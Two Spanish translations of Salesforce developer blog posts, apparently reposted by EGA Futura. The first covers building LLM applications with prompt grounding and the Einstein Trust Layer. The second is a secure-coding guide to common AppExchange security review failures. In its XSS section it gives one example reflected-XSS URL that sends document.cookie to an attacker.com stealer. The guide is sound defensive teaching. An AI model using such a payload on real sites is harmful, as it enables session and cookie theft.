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Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnolog铆a m谩s transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la informaci贸n. Para los desarrolladores, esto plantea nuevas preguntas: desde la pr谩ctica "驴C贸mo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" M谩s profundamente, 鈥溌緾贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones? 鈥 Exploramos estas dos preguntas en esta publicaci贸n de blog.

驴C贸mo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "驴C贸mo creo aplicaciones con LLM?" y explore tres opciones que com煤nmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de c贸digo abierto
  3. Utilice modelos existentes a trav茅s de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos espec铆ficos de su industria. Un modelo entrenado con datos de un dominio espec铆fico generalmente ser谩 m谩s preciso que un modelo de prop贸sito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece m谩s control y precisi贸n, puede que no siempre sea el mejor enfoque. Aqu铆 hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho m谩s peque帽o, el modelo GPT-3 de OpenAI tard贸 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, tambi茅n necesitar谩 un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensi贸n entre la forma en que aprenden los LLM y la forma en que se implementan las pol铆ticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. 隆Cuantos m谩s datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las pol铆ticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio m铆nimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo espec铆fico. 隆Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposici贸n de todos en su empresa puede no ser una buena idea y violar las pol铆ticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de c贸digo abierto

Personalizar un modelo de c贸digo abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, a煤n necesita un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que a煤n experimentes la tensi贸n de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a trav茅s de API

Utilizar modelos existentes a trav茅s de API es la forma m谩s sencilla de crear aplicaciones con LLM. Esta es tambi茅n la opci贸n m谩s utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado gen茅rico para ser 煤til.

En esta publicaci贸n de blog, exploramos diferentes t茅cnicas para agregar datos contextuales o privados de la empresa a trav茅s del mensaje. Debido a que el mensaje se crea din谩micamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensi贸n de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen t茅cnicas para abordar esa preocupaci贸n y tambi茅n las describimos en esta publicaci贸n de blog.

Creaci贸n de aplicaciones impulsadas por IA utilizando modelos existentes a trav茅s de API

Llamada API b谩sica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementaci贸n m谩s b谩sica, su aplicaci贸n captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, as铆 es como se ver铆a la llamada API usando la API OpenAI:

Esta opci贸n puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaraci贸n SQL de muestra con una uni贸n externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado gen茅rico para ser 煤til.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electr贸nico de presentaci贸n para el director ejecutivo de Acme.

El correo electr贸nico generado no ser铆a personalizado ni relevante porque el modelo no sabe nada sobre su relaci贸n con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea m谩s relevante y contextual, el usuario puede fundamentar el LLM con informaci贸n adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electr贸nico de presentaci贸n a Lisa Martinez, directora ejecutiva de ACME.
Aqu铆 hay una lista de los 煤ltimos tres pedidos que Acme realiz贸 a Northern Trail Outfitters:
Colecci贸n Verano 2023: $375,286
Colecci贸n Primavera 2023: $402,255
Colecci贸n Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho m谩s relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha informaci贸n de conexi贸n a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Est谩 pasando informaci贸n confidencial al proveedor del modelo donde potencialmente podr铆a persistir o usarse para entrenar a煤n m谩s el modelo, lo que significa que sus datos privados podr铆an aparecer en la respuesta generada por el modelo de otra persona.

Construcci贸n r谩pida y puesta a tierra din谩mica.

Para abordar la primera limitaci贸n anterior, puede construir el mensaje mediante programaci贸n. El usuario ingresa una cantidad m铆nima de informaci贸n o simplemente hace clic en un bot贸n en la aplicaci贸n y luego usted crea el mensaje mediante programaci贸n agregando datos relevantes. Por ejemplo, en respuesta a un clic en el bot贸n 鈥淓scribir correo electr贸nico de introducci贸n鈥, podr铆a:

  1. Llame a un servicio para obtener informaci贸n sobre el usuario.
  2. Llame a un servicio para obtener informaci贸n sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la informaci贸n obtenida de los servicios de datos anteriores.

As铆 es como podr铆an verse estos pasos de construcci贸n r谩pidos en Apex:

El principal inconveniente de este enfoque es que requiere un c贸digo personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos din谩micos en texto est谩tico.

Plantillas de aviso

Para facilitar la construcci贸n del mensaje, podemos usar plantillas: un patr贸n de desarrollo de software bien conocido que se usa com煤nmente para fusionar datos din谩micos en documentos est谩ticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posici贸n que se reemplazan din谩micamente con datos din谩micos en tiempo de ejecuci贸n.

As铆 es como se ver铆a el ejemplo de Apex anterior usando un lenguaje de plantilla gen茅rico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electr贸nico de presentaci贸n a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son 煤tiles para crear mensajes mediante programaci贸n, sino que tambi茅n se pueden utilizar como base para herramientas gr谩ficas que admiten la creaci贸n de mensajes en un entorno de arrastrar y soltar.

Estudio r谩pido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creaci贸n de indicaciones. Le permite crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos disponibles a trav茅s de datos de p谩ginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las p谩ginas de registro y el c贸digo Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados din谩micamente en un entorno gr谩fico. Pero, 驴c贸mo se env铆a ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • 驴Qu茅 pasa con los problemas de cumplimiento y privacidad si pasa datos de informaci贸n de identificaci贸n personal (PII) en el mensaje? 驴El proveedor del modelo podr铆a conservar los datos de PII o incluso utilizarlos para entrenar a煤n m谩s el modelo?
  • 驴C贸mo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • 驴C贸mo se rastrea y registra los pasos de creaci贸n de mensajes con fines de auditor铆a?

Si utiliza la API del proveedor de LLM directamente, tendr谩 que escribir un c贸digo personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar dif铆cil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

As铆 es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger a煤n m谩s sus datos, Salesforce tiene acuerdos de retenci贸n cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistir谩n ni entrenar谩n m谩s sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detecci贸n de toxicidad y el registro de seguimiento de auditor铆a. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detecci贸n de toxicidad comprueba si hay contenido da帽ino u ofensivo en el resultado. El registro de seguimiento de auditor铆a registra todo el proceso con fines de auditor铆a.

De cara al futuro: creaci贸n de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este art铆culo: 驴C贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones?

Encadenamiento r谩pido

La l贸gica involucrada en la creaci贸n de un mensaje a veces puede volverse compleja. Puede implicar m煤ltiples llamadas a API o servicios de datos, como en el ejemplo de conexi贸n a tierra din谩mica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento r谩pido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se env铆a al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestaci贸n de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven m谩s complejos, podemos ver la necesidad de alguna forma de orquestaci贸n. Como desarrollador, luego crear铆a una serie de bloques de construcci贸n que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna l贸gica computacional, etc. Estos bloques de construcci贸n se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestaci贸n. Esto se podr铆a hacer usando una herramienta de orquestaci贸n tradicional que le permita definir qu茅 bloques de construcci贸n usar, en qu茅 orden y cu谩ndo (con diferentes ramas "si"). Pero, 驴qu茅 pasar铆a si la orquestaci贸n en s铆 estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qu茅 bloques de construcci贸n usar y c贸mo componerlos para realizar una tarea espec铆fica? La orquestaci贸n impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcci贸n orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes b谩sicos descritos anteriormente. Podr铆an ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales est谩n disponibles de forma predeterminada y otras ser谩n desarrolladas por los desarrolladores. Esto tambi茅n crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecuci贸n de la orquestaci贸n, el planificador elige (crea un plan para) qu茅 acciones usar y c贸mo componerlas para responder mejor a la solicitud del usuario.

La orquestaci贸n de IA es un 谩rea activa de investigaci贸n en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a trav茅s de API es una forma com煤n de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados m谩s relevantes y 煤tiles. En lugar de pedirle al usuario que ingrese una gran cantidad de informaci贸n b谩sica manualmente, puede crear el mensaje mediante programaci贸n llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creaci贸n de mensajes al permitirle crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestaci贸n impulsada por la IA es un paradigma emergente que podr铆a cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de coraz贸n con m谩s de 25 a帽os de experiencia en la creaci贸n de aplicaciones empresariales, habilitando audiencias t茅cnicas y asesorando a organizaciones de TI.

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Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

